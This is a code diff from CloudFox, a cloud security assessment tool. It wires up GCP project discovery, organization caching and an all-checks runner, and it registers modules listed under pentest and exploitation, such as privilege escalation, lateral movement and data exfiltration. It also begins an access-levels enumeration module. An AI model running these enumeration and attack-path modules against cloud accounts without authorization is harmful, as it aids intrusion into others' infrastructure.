if proj.State == "ACTIVE" {
|
||||
GCPProjectIDs = append(GCPProjectIDs, proj.ProjectID)
|
||||
GCPProjectNames[proj.ProjectID] = proj.DisplayName
|
||||
}
|
||||
}
|
||||
if len(GCPProjectIDs) == 0 {
|
||||
GCPLogger.FatalM("No accessible projects found. Check your permissions.", "gcp")
|
||||
}
|
||||
GCPLogger.InfoM(fmt.Sprintf("Discovered %d project(s)", len(GCPProjectIDs)), "gcp")
|
||||
} else {
|
||||
GCPLogger.InfoM("No project scope specified. Use -p, -l, or -A flag.", "gcp")
|
||||
}
|
||||
|
||||
// Create a context with project IDs and names
|
||||
ctx := context.WithValue(context.Background(), "projectIDs", GCPProjectIDs)
|
||||
ctx = context.WithValue(ctx, "projectNames", GCPProjectNames)
|
||||
|
||||
// Authenticate and get account info
|
||||
os := oauthservice.NewOAuthService()
|
||||
principal, err := os.WhoAmI()
|
||||
if err != nil {
|
||||
GCPLogger.FatalM(fmt.Sprintf("could not determine default user credential with error %s. \n\nPlease use default application default credentials: https://cloud.google.com/docs/authentication/application-default-credentials", err.Error()), "gcp")
|
||||
GCPLogger.FatalM(fmt.Sprintf("could not determine default user credential with error %s.\n\nPlease use default application default credentials: https://cloud.google.com/docs/authentication/application-default-credentials\n\nTry: gcloud auth application-default login", err.Error()), "gcp")
|
||||
}
|
||||
ctx = context.WithValue(ctx, "account", principal.Email)
|
||||
|
||||
// Build scope hierarchy for hierarchical output (unless --flat-output is set)
|
||||
if !GCPFlatOutput && len(GCPProjectIDs) > 0 {
|
||||
GCPLogger.InfoM("Building scope hierarchy for hierarchical output...", "gcp")
|
||||
orgsSvc := orgsservice.New()
|
||||
provider := orgsservice.NewHierarchyProvider(orgsSvc)
|
||||
hierarchy, err := gcpinternal.BuildScopeHierarchy(GCPProjectIDs, provider)
|
||||
if err != nil {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Could not build hierarchy, using flat output: %v", err), "gcp")
|
||||
} else {
|
||||
ctx = context.WithValue(ctx, "hierarchy", hierarchy)
|
||||
// Log hierarchy summary
|
||||
if len(hierarchy.Organizations) > 0 {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Detected %d organization(s), %d project(s)", len(hierarchy.Organizations), len(hierarchy.Projects)), "gcp")
|
||||
} else {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Detected %d standalone project(s)", len(hierarchy.StandaloneProjs)), "gcp")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get account for cache operations
|
||||
account, _ := ctx.Value("account").(string)
|
||||
|
||||
// Always try to load FoxMapper data for attack path analysis
|
||||
// This allows individual modules to show the Attack Paths column
|
||||
if len(GCPProjectIDs) > 0 {
|
||||
// Get org ID from hierarchy if available (GCPOrganization flag may be empty)
|
||||
orgID := GCPOrganization
|
||||
if orgID == "" {
|
||||
if hierarchy, ok := ctx.Value("hierarchy").(*gcpinternal.ScopeHierarchy); ok && hierarchy != nil {
|
||||
if len(hierarchy.Organizations) > 0 {
|
||||
orgID = hierarchy.Organizations[0].ID
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foxMapperCache := gcpinternal.TryLoadFoxMapper(orgID, GCPProjectIDs)
|
||||
if foxMapperCache != nil && foxMapperCache.IsPopulated() {
|
||||
ctx = gcpinternal.SetFoxMapperCacheInContext(ctx, foxMapperCache)
|
||||
totalNodes, adminNodes, nodesWithPrivesc := foxMapperCache.GetStats()
|
||||
ageDays := foxMapperCache.GetDataAgeDays()
|
||||
|
||||
if ageDays >= 30 {
|
||||
GCPLogger.WarnM(fmt.Sprintf("FoxMapper data is %d days old - consider running 'foxmapper gcp graph create' to refresh",
|
||||
ageDays), "gcp")
|
||||
} else {
|
||||
GCPLogger.InfoM(fmt.Sprintf("FoxMapper data is %d days old", ageDays), "gcp")
|
||||
}
|
||||
GCPLogger.SuccessM(fmt.Sprintf("FoxMapper data loaded: %d principals, %d admins, %d with privesc",
|
||||
totalNodes, adminNodes, nodesWithPrivesc), "gcp")
|
||||
}
|
||||
}
|
||||
|
||||
// Always try to load org cache for cross-project analysis
|
||||
// Cache auto-refreshes after 24 hours
|
||||
// Force refresh when running the organizations command to ensure fresh data
|
||||
refreshCache := GCPRefreshCache || cmd.Name() == "organizations"
|
||||
orgCache := loadOrPopulateOrgCache(account, refreshCache)
|
||||
if orgCache != nil && orgCache.IsPopulated() {
|
||||
ctx = gcpinternal.SetOrgCacheInContext(ctx, orgCache)
|
||||
}
|
||||
|
||||
cmd.SetContext(ctx)
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// deduplicateProjectIDs removes duplicates, trims whitespace, and filters empty entries
|
||||
func deduplicateProjectIDs(projectIDs []string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var result []string
|
||||
duplicateCount := 0
|
||||
|
||||
for _, id := range projectIDs {
|
||||
// Trim whitespace
|
||||
id = strings.TrimSpace(id)
|
||||
|
||||
// Skip empty lines
|
||||
if id == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Skip duplicates
|
||||
if seen[id] {
|
||||
duplicateCount++
|
||||
continue
|
||||
}
|
||||
|
||||
seen[id] = true
|
||||
result = append(result, id)
|
||||
}
|
||||
|
||||
if duplicateCount > 0 {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Removed %d duplicate project ID(s) from list", duplicateCount), "gcp")
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// resolveProjectNames fetches display names for given project IDs
|
||||
func resolveProjectNames(projectIDs []string) {
|
||||
if len(projectIDs) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
orgsSvc := orgsservice.New()
|
||||
// Fetch all accessible projects and build lookup map
|
||||
projects, err := orgsSvc.SearchProjects("")
|
||||
if err != nil {
|
||||
// Non-fatal: we can continue without display names
|
||||
GCPLogger.InfoM("Could not resolve project names, using project IDs only", "gcp")
|
||||
for _, id := range projectIDs {
|
||||
GCPProjectNames[id] = id // fallback to using ID as name
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Build lookup from fetched projects
|
||||
projectLookup := make(map[string]string)
|
||||
for _, proj := range projects {
|
||||
projectLookup[proj.ProjectID] = proj.DisplayName
|
||||
}
|
||||
|
||||
// Map our project IDs to names
|
||||
for _, id := range projectIDs {
|
||||
if name, ok := projectLookup[id]; ok {
|
||||
GCPProjectNames[id] = name
|
||||
} else {
|
||||
GCPProjectNames[id] = id // fallback to using ID as name
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// New RunAllGCPCommands function to execute all child commands
|
||||
var GCPAllChecksCommand = &cobra.Command{
|
||||
Use: "all-checks",
|
||||
Short: "Runs all available GCP commands",
|
||||
Long: `Executes all available GCP commands to collect and display information from all supported GCP services.`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
var executedModules []string
|
||||
startTime := time.Now()
|
||||
ctx := cmd.Context()
|
||||
account, _ := ctx.Value("account").(string)
|
||||
|
||||
// Set all-checks mode - individual modules will skip saving cache
|
||||
// (we'll save consolidated cache at the end)
|
||||
ctx = gcpinternal.SetAllChecksMode(ctx, true)
|
||||
cmd.SetContext(ctx)
|
||||
|
||||
// Load or populate org cache for cross-project modules
|
||||
existingOrgCache := gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
if existingOrgCache == nil || !existingOrgCache.IsPopulated() {
|
||||
GCPLogger.InfoM("Loading/enumerating organization data for cross-project analysis...", "all-checks")
|
||||
orgCache := loadOrPopulateOrgCache(account, GCPRefreshCache)
|
||||
if orgCache != nil && orgCache.IsPopulated() {
|
||||
ctx = gcpinternal.SetOrgCacheInContext(ctx, orgCache)
|
||||
cmd.SetContext(ctx)
|
||||
}
|
||||
} else {
|
||||
orgs, folders, projects := existingOrgCache.GetStats()
|
||||
GCPLogger.InfoM(fmt.Sprintf("Using existing org cache: %d org(s), %d folder(s), %d project(s)", orgs, folders, projects), "all-checks")
|
||||
}
|
||||
|
||||
// Find the privesc command to run first
|
||||
var privescCmd *cobra.Command
|
||||
for _, childCmd := range GCPCommands.Commands() {
|
||||
if childCmd == cmd { // Skip the run-all command itself to avoid infinite recursion
|
||||
if childCmd.Use == "privesc" {
|
||||
privescCmd = childCmd
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Run privesc command first (produces output) and load FoxMapper data for other modules
|
||||
if privescCmd != nil {
|
||||
GCPLogger.InfoM("Running privilege escalation analysis first...", "all-checks")
|
||||
privescCmd.Run(cmd, args)
|
||||
executedModules = append(executedModules, "privesc")
|
||||
|
||||
// After running privesc, try to load FoxMapper data for other modules
|
||||
existingFoxMapper := gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if existingFoxMapper != nil && existingFoxMapper.IsPopulated() {
|
||||
totalNodes, adminNodes, nodesWithPrivesc := existingFoxMapper.GetStats()
|
||||
GCPLogger.InfoM(fmt.Sprintf("Using existing FoxMapper cache: %d principals, %d admins, %d with privesc", totalNodes, adminNodes, nodesWithPrivesc), "all-checks")
|
||||
} else {
|
||||
// Get org ID from org cache if available (GCPOrganization flag may be empty)
|
||||
orgID := GCPOrganization
|
||||
if orgID == "" {
|
||||
if orgCache := gcpinternal.GetOrgCacheFromContext(ctx); orgCache != nil && len(orgCache.Organizations) > 0 {
|
||||
orgID = orgCache.Organizations[0].ID
|
||||
}
|
||||
}
|
||||
|
||||
// Try to load FoxMapper data
|
||||
foxMapperCache := gcpinternal.TryLoadFoxMapper(orgID, GCPProjectIDs)
|
||||
if foxMapperCache != nil && foxMapperCache.IsPopulated() {
|
||||
ctx = gcpinternal.SetFoxMapperCacheInContext(ctx, foxMapperCache)
|
||||
cmd.SetContext(ctx)
|
||||
totalNodes, adminNodes, nodesWithPrivesc := foxMapperCache.GetStats()
|
||||
GCPLogger.SuccessM(fmt.Sprintf("FoxMapper data loaded: %d principals, %d admins, %d with privesc", totalNodes, adminNodes, nodesWithPrivesc), "all-checks")
|
||||
} else {
|
||||
GCPLogger.InfoM("No FoxMapper data found. Run 'foxmapper gcp graph create' for attack path analysis.", "all-checks")
|
||||
}
|
||||
}
|
||||
GCPLogger.InfoM("", "all-checks")
|
||||
}
|
||||
|
||||
// Modules excluded from all-checks (run separately, not part of standard enumeration)
|
||||
excludeFromAllChecks := map[string]bool{
|
||||
"privesc": true, // Already ran above
|
||||
"storage-enum": true, // Sensitive data enum modules (run separately)
|
||||
"logging-enum": true,
|
||||
"bigquery-enum": true,
|
||||
"bigtable-enum": true,
|
||||
"spanner-enum": true,
|
||||
}
|
||||
|
||||
// Count total modules to execute (excluding self, hidden, and excluded modules)
|
||||
var modulesToRun []*cobra.Command
|
||||
for _, childCmd := range GCPCommands.Commands() {
|
||||
if childCmd == cmd { // Skip the run-all command itself
|
||||
continue
|
||||
}
|
||||
|
||||
GCPLogger.InfoM(fmt.Sprintf("Running command: %s", childCmd.Use), "all-checks")
|
||||
childCmd.Run(cmd, args)
|
||||
if childCmd.Hidden { // Skip hidden commands
|
||||
continue
|
||||
}
|
||||
if excludeFromAllChecks[childCmd.Use] {
|
||||
continue
|
||||
}
|
||||
modulesToRun = append(modulesToRun, childCmd)
|
||||
}
|
||||
totalModules := len(modulesToRun)
|
||||
|
||||
GCPLogger.InfoM(fmt.Sprintf("Starting execution of %d modules...", totalModules), "all-checks")
|
||||
GCPLogger.InfoM("", "all-checks")
|
||||
|
||||
for i, childCmd := range modulesToRun {
|
||||
GCPLogger.InfoM(fmt.Sprintf("[%d/%d] Running: %s", i+1, totalModules, childCmd.Use), "all-checks")
|
||||
childCmd.Run(cmd, args)
|
||||
executedModules = append(executedModules, childCmd.Use)
|
||||
}
|
||||
|
||||
// Print summary
|
||||
duration := time.Since(startTime)
|
||||
printExecutionSummary(executedModules, duration)
|
||||
},
|
||||
}
|
||||
|
||||
// loadOrPopulateOrgCache loads org cache from disk if available, or enumerates and saves it
|
||||
func loadOrPopulateOrgCache(account string, forceRefresh bool) *gcpinternal.OrgCache {
|
||||
// Check if cache exists and we're not forcing refresh
|
||||
if !forceRefresh && gcpinternal.OrgCacheExists(GCPOutputDirectory, account) {
|
||||
// Check if cache is stale (older than 24 hours)
|
||||
if gcpinternal.IsCacheStale(GCPOutputDirectory, account, "org", gcpinternal.DefaultCacheExpiration) {
|
||||
age, _ := gcpinternal.GetCacheAge(GCPOutputDirectory, account, "org")
|
||||
GCPLogger.InfoM(fmt.Sprintf("Org cache is stale (age: %s > 24h), refreshing...", formatDuration(age)), "gcp")
|
||||
} else {
|
||||
cache, metadata, err := gcpinternal.LoadOrgCacheFromFile(GCPOutputDirectory, account)
|
||||
if err == nil && cache != nil {
|
||||
age, _ := gcpinternal.GetCacheAge(GCPOutputDirectory, account, "org")
|
||||
GCPLogger.InfoM(fmt.Sprintf("Loaded org cache from disk (age: %s, %d projects)",
|
||||
formatDuration(age), metadata.TotalProjects), "gcp")
|
||||
return cache
|
||||
}
|
||||
if err != nil {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Could not load org cache: %v, re-enumerating...", err), "gcp")
|
||||
// Delete corrupted cache file
|
||||
gcpinternal.DeleteCache(GCPOutputDirectory, account, "org")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Enumerate and create cache
|
||||
cache := enumerateAndCacheOrgs(account)
|
||||
return cache
|
||||
}
|
||||
|
||||
// enumerateAndCacheOrgs enumerates all orgs/folders/projects and saves to disk
|
||||
func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
|
||||
cache := gcpinternal.NewOrgCache()
|
||||
|
||||
orgsSvc := orgsservice.New()
|
||||
|
||||
// Get all organizations
|
||||
orgs, err := orgsSvc.SearchOrganizations()
|
||||
if err == nil {
|
||||
for _, org := range orgs {
|
||||
cache.AddOrganization(gcpinternal.CachedOrganization{
|
||||
ID: org.Name[len("organizations/"):], // Strip prefix
|
||||
Name: org.Name,
|
||||
DisplayName: org.DisplayName,
|
||||
DirectoryID: org.DirectoryID,
|
||||
State: org.State,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Get all folders
|
||||
folders, err := orgsSvc.SearchAllFolders()
|
||||
if err == nil {
|
||||
for _, folder := range folders {
|
||||
cache.AddFolder(gcpinternal.CachedFolder{
|
||||
ID: folder.Name[len("folders/"):], // Strip prefix
|
||||
Name: folder.Name,
|
||||
DisplayName: folder.DisplayName,
|
||||
Parent: folder.Parent,
|
||||
State: folder.State,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Get all projects
|
||||
projects, err := orgsSvc.SearchProjects("")
|
||||
if err == nil {
|
||||
for _, project := range projects {
|
||||
// Extract project number from Name (format: "projects/123456789")
|
||||
projectNumber := ""
|
||||
if strings.HasPrefix(project.Name, "projects/") {
|
||||
projectNumber = strings.TrimPrefix(project.Name, "projects/")
|
||||
}
|
||||
cache.AddProject(gcpinternal.CachedProject{
|
||||
ID: project.ProjectID,
|
||||
Number: projectNumber,
|
||||
Name: project.Name,
|
||||
DisplayName: project.DisplayName,
|
||||
Parent: project.Parent,
|
||||
State: project.State,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
cache.MarkPopulated()
|
||||
|
||||
// Save to disk
|
||||
err = gcpinternal.SaveOrgCacheToFile(cache, GCPOutputDirectory, account, "2.0.0")
|
||||
if err != nil {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Could not save org cache to disk: %v", err), "gcp")
|
||||
} else {
|
||||
cacheDir := gcpinternal.GetCacheDirectory(GCPOutputDirectory, account)
|
||||
GCPLogger.InfoM(fmt.Sprintf("Org cache saved to %s", cacheDir), "gcp")
|
||||
}
|
||||
|
||||
orgsCount, foldersCount, projectsCount := cache.GetStats()
|
||||
GCPLogger.InfoM(fmt.Sprintf("Organization cache populated: %d org(s), %d folder(s), %d project(s)",
|
||||
orgsCount, foldersCount, projectsCount), "gcp")
|
||||
|
||||
return cache
|
||||
}
|
||||
|
||||
// printExecutionSummary prints a summary of all executed modules
|
||||
func printExecutionSummary(modules []string, duration time.Duration) {
|
||||
GCPLogger.InfoM("", "all-checks") // blank line
|
||||
GCPLogger.InfoM("════════════════════════════════════════════════════════════", "all-checks")
|
||||
GCPLogger.InfoM(" EXECUTION SUMMARY ", "all-checks")
|
||||
GCPLogger.InfoM("════════════════════════════════════════════════════════════", "all-checks")
|
||||
GCPLogger.InfoM(fmt.Sprintf("Total modules executed: %d", len(modules)), "all-checks")
|
||||
GCPLogger.InfoM(fmt.Sprintf("Total execution time: %s", formatDuration(duration)), "all-checks")
|
||||
GCPLogger.InfoM("", "all-checks")
|
||||
GCPLogger.InfoM("Modules executed:", "all-checks")
|
||||
|
||||
// Print modules in columns for better readability
|
||||
const columnsPerRow = 4
|
||||
for i := 0; i < len(modules); i += columnsPerRow {
|
||||
row := " "
|
||||
for j := i; j < i+columnsPerRow && j < len(modules); j++ {
|
||||
row += fmt.Sprintf("%-20s", modules[j])
|
||||
}
|
||||
GCPLogger.InfoM(row, "all-checks")
|
||||
}
|
||||
|
||||
GCPLogger.InfoM("", "all-checks")
|
||||
GCPLogger.InfoM(fmt.Sprintf("Output directory: %s", GCPOutputDirectory), "all-checks")
|
||||
GCPLogger.InfoM("════════════════════════════════════════════════════════════", "all-checks")
|
||||
}
|
||||
|
||||
// formatDuration formats a duration in a human-readable way
|
||||
func formatDuration(d time.Duration) string {
|
||||
if d < time.Minute {
|
||||
return fmt.Sprintf("%.1f seconds", d.Seconds())
|
||||
} else if d < time.Hour {
|
||||
minutes := int(d.Minutes())
|
||||
seconds := int(d.Seconds()) % 60
|
||||
return fmt.Sprintf("%dm %ds", minutes, seconds)
|
||||
}
|
||||
hours := int(d.Hours())
|
||||
minutes := int(d.Minutes()) % 60
|
||||
return fmt.Sprintf("%dh %dm", hours, minutes)
|
||||
}
|
||||
|
||||
func init() {
|
||||
// Globals flags for the GCP commands
|
||||
|
||||
@@ -86,7 +494,7 @@ func init() {
|
||||
// GCPCommands.PersistentFlags().StringVarP(&GCPOrganization, "organization", "o", "", "Organization name or number, repetable")
|
||||
GCPCommands.PersistentFlags().StringVarP(&GCPProjectID, "project", "p", "", "GCP project ID")
|
||||
GCPCommands.PersistentFlags().StringVarP(&GCPProjectIDsFilePath, "project-list", "l", "", "Path to a file containing a list of project IDs separated by newlines")
|
||||
// GCPCommands.PersistentFlags().BoolVarP(&GCPAllProjects, "all-projects", "a", false, "Use all project IDs available to activated gloud account or given gcloud account")
|
||||
GCPCommands.PersistentFlags().BoolVarP(&GCPAllProjects, "all-projects", "A", false, "Automatically discover and target all accessible projects")
|
||||
// GCPCommands.PersistentFlags().BoolVarP(&GCPConfirm, "yes", "y", false, "Non-interactive mode (like apt/yum)")
|
||||
// GCPCommands.PersistentFlags().StringVarP(&GCPOutputFormat, "output", "", "brief", "[\"brief\" | \"wide\" ]")
|
||||
GCPCommands.PersistentFlags().IntVarP(&Verbosity, "verbosity", "v", 2, "1 = Print control messages only\n2 = Print control messages, module output\n3 = Print control messages, module output, and loot file output\n")
|
||||
@@ -94,16 +502,102 @@ func init() {
|
||||
GCPCommands.PersistentFlags().StringVar(&GCPOutputDirectory, "outdir", defaultOutputDir, "Output Directory ")
|
||||
// GCPCommands.PersistentFlags().IntVarP(&Goroutines, "max-goroutines", "g", 30, "Maximum number of concurrent goroutines")
|
||||
GCPCommands.PersistentFlags().BoolVarP(&GCPWrapTable, "wrap", "w", false, "Wrap table to fit in terminal (complicates grepping)")
|
||||
GCPCommands.PersistentFlags().BoolVar(&GCPFlatOutput, "flat-output", false, "Use legacy flat output structure instead of hierarchical per-project directories")
|
||||
GCPCommands.PersistentFlags().BoolVar(&GCPRefreshCache, "refresh-cache", false, "Force re-enumeration of cached data (cache auto-expires after 24 hours)")
|
||||
|
||||
// Available commands
|
||||
GCPCommands.AddCommand(
|
||||
commands.GCPBucketsCommand,
|
||||
// Core/existing commands
|
||||
commands.GCPStorageCommand,
|
||||
commands.GCPArtifactRegistryCommand,
|
||||
commands.GCPBigQueryCommand,
|
||||
commands.GCPSecretsCommand,
|
||||
commands.GCPIAMCommand,
|
||||
commands.GCPPermissionsCommand,
|
||||
commands.GCPResourceIAMCommand,
|
||||
commands.GCPInstancesCommand,
|
||||
commands.GCPWhoAmICommand,
|
||||
|
||||
// Compute/serverless commands
|
||||
commands.GCPFunctionsCommand,
|
||||
commands.GCPCloudRunCommand,
|
||||
commands.GCPAppEngineCommand,
|
||||
commands.GCPGKECommand,
|
||||
commands.GCPCloudSQLCommand,
|
||||
|
||||
// New infrastructure commands
|
||||
commands.GCPPubSubCommand,
|
||||
commands.GCPKMSCommand,
|
||||
commands.GCPLoggingCommand,
|
||||
commands.GCPSchedulerCommand,
|
||||
commands.GCPDNSCommand,
|
||||
commands.GCPFirewallCommand,
|
||||
commands.GCPServiceAccountsCommand,
|
||||
commands.GCPKeysCommand,
|
||||
commands.GCPEndpointsCommand,
|
||||
commands.GCPWorkloadIdentityCommand,
|
||||
commands.GCPIdentityFederationCommand,
|
||||
commands.GCPOrganizationsCommand,
|
||||
commands.GCPCloudBuildCommand,
|
||||
commands.GCPMemorystoreCommand,
|
||||
commands.GCPFilestoreCommand,
|
||||
commands.GCPSpannerCommand,
|
||||
commands.GCPBigtableCommand,
|
||||
|
||||
// Data processing commands
|
||||
commands.GCPDataflowCommand,
|
||||
commands.GCPComposerCommand,
|
||||
|
||||
// Security/Compliance commands
|
||||
commands.GCPVPCSCCommand,
|
||||
commands.GCPAssetInventoryCommand,
|
||||
commands.GCPSecurityCenterCommand,
|
||||
commands.GCPComplianceDashboardCommand,
|
||||
commands.GCPBackupInventoryCommand,
|
||||
commands.GCPCostSecurityCommand,
|
||||
commands.GCPMonitoringAlertsCommand,
|
||||
|
||||
// Network/Infrastructure commands
|
||||
commands.GCPLoadBalancersCommand,
|
||||
commands.GCPVPCNetworksCommand,
|
||||
commands.GCPNetworkTopologyCommand,
|
||||
|
||||
// ML/Data Science commands
|
||||
commands.GCPNotebooksCommand,
|
||||
commands.GCPDataprocCommand,
|
||||
|
||||
// Zero Trust/Access commands
|
||||
commands.GCPIAPCommand,
|
||||
commands.GCPBeyondCorpCommand,
|
||||
commands.GCPAccessLevelsCommand,
|
||||
|
||||
// Pentest/Exploitation commands
|
||||
commands.GCPPrivescCommand,
|
||||
commands.GCPOrgPoliciesCommand,
|
||||
commands.GCPStorageEnumCommand,
|
||||
commands.GCPLoggingEnumCommand,
|
||||
commands.GCPBigQueryEnumCommand,
|
||||
commands.GCPBigtableEnumCommand,
|
||||
commands.GCPSpannerEnumCommand,
|
||||
commands.GCPCrossProjectCommand,
|
||||
commands.GCPSourceReposCommand,
|
||||
commands.GCPServiceAgentsCommand,
|
||||
commands.GCPDomainWideDelegationCommand,
|
||||
commands.GCPPrivateServiceConnectCommand,
|
||||
commands.GCPCloudArmorCommand,
|
||||
commands.GCPCertManagerCommand,
|
||||
commands.GCPLateralMovementCommand,
|
||||
commands.GCPDataExfiltrationCommand,
|
||||
commands.GCPPublicAccessCommand,
|
||||
commands.GCPFoxMapperCommand,
|
||||
|
||||
// Inventory command
|
||||
commands.GCPInventoryCommand,
|
||||
|
||||
// Hidden admin commands
|
||||
commands.GCPHiddenAdminsCommand,
|
||||
|
||||
// All checks (last)
|
||||
GCPAllChecksCommand,
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,453 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
accesspolicyservice "github.com/BishopFox/cloudfox/gcp/services/accessPolicyService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
cloudresourcemanager "google.golang.org/api/cloudresourcemanager/v1"
|
||||
)
|
||||
|
||||
var accessLevelOrgID string
|
||||
|
||||
var GCPAccessLevelsCommand = &cobra.Command{
|
||||
Use: globals.GCP_ACCESSLEVELS_MODULE_NAME,
|
||||
Aliases: []string{"access-levels", "conditional-access", "ca"},
|
||||
Short: "Enumerate Access Context Manager access levels",
|
||||
Long: `Enumerate Access Context Manager access levels (conditional access policies).
|
||||
|
||||
Features:
|
||||
- Lists all access levels in the organization
|
||||
- Shows IP-based, device-based, and identity conditions
|
||||
- Identifies overly permissive access levels
|
||||
- Analyzes device policy requirements
|
||||
|
||||
Organization Discovery:
|
||||
- Automatically discovers organization from project ancestry if --org not specified
|
||||
- Use --org to explicitly specify an organization ID`,
|
||||
Run: runGCPAccessLevelsCommand,
|
||||
}
|
||||
|
||||
func init() {
|
||||
GCPAccessLevelsCommand.Flags().StringVar(&accessLevelOrgID, "org", "", "Organization ID (required)")
|
||||
}
|
||||
|
||||
type AccessLevelsModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
OrgID string
|
||||
OrgAccessLevels map[string][]accesspolicyservice.AccessLevelInfo // orgID -> access levels
|
||||
LootMap map[string]map[string]*internal.LootFile // orgID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type AccessLevelsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o AccessLevelsOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o AccessLevelsOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPAccessLevelsCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Discover organizations if not specified
|
||||
orgIDs := []string{}
|
||||
if accessLevelOrgID != "" {
|
||||
orgIDs = append(orgIDs, accessLevelOrgID)
|
||||
} else {
|
||||
// Auto-discover organizations from project ancestry
|
||||
discoveredOrgs := discoverOrganizations(cmdCtx.Ctx, cmdCtx.ProjectIDs, cmdCtx.Logger)
|
||||
if len(discoveredOrgs) == 0 {
|
||||
cmdCtx.Logger.ErrorM("Could not discover any organizations. Use --org flag to specify one.", globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
orgIDs = discoveredOrgs
|
||||
cmdCtx.Logger.InfoM(fmt.Sprintf("Discovered %d organization(s) from project ancestry", len(orgIDs)), globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
}
|
||||
|
||||
module := &AccessLevelsModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
OrgAccessLevels: make(map[string][]accesspolicyservice.AccessLevelInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
// Process each organization
|
||||
for _, orgID := range orgIDs {
|
||||
module.processOrg(cmdCtx.Ctx, orgID, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// Write combined output
|
||||
allLevels := module.getAllAccessLevels()
|
||||
if len(allLevels) == 0 {
|
||||
cmdCtx.Logger.InfoM("No access levels found", globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
cmdCtx.Logger.SuccessM(fmt.Sprintf("Found %d access level(s)", len(allLevels)), globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
module.writeOutput(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// discoverOrganizations finds organization IDs from project ancestry
|
||||
func discoverOrganizations(ctx context.Context, projectIDs []string, logger internal.Logger) []string {
|
||||
crmService, err := cloudresourcemanager.NewService(ctx)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
orgMap := make(map[string]bool)
|
||||
for _, projectID := range projectIDs {
|
||||
resp, err := crmService.Projects.GetAncestry(projectID, &cloudresourcemanager.GetAncestryRequest{}).Do()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, ancestor := range resp.Ancestor {
|
||||
if ancestor.ResourceId.Type == "organization" {
|
||||
orgMap[ancestor.ResourceId.Id] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var orgs []string
|
||||
for orgID := range orgMap {
|
||||
orgs = append(orgs, orgID)
|
||||
}
|
||||
return orgs
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) getAllAccessLevels() []accesspolicyservice.AccessLevelInfo {
|
||||
var all []accesspolicyservice.AccessLevelInfo
|
||||
for _, levels := range m.OrgAccessLevels {
|
||||
all = append(all, levels...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) processOrg(ctx context.Context, orgID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating access levels for organization: %s", orgID), globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this org
|
||||
if m.LootMap[orgID] == nil {
|
||||
m.LootMap[orgID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[orgID]["access-levels-details"] = &internal.LootFile{
|
||||
Name: "access-levels-details",
|
||||
Contents: "# Access Levels (Conditional Access Policies)\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
m.LootMap[orgID]["access-levels-allowed-ips"] = &internal.LootFile{
|
||||
Name: "access-levels-allowed-ips",
|
||||
Contents: "",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
svc := accesspolicyservice.New()
|
||||
|
||||
levels, err := svc.ListAccessLevels(orgID)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_ACCESSLEVELS_MODULE_NAME,
|
||||
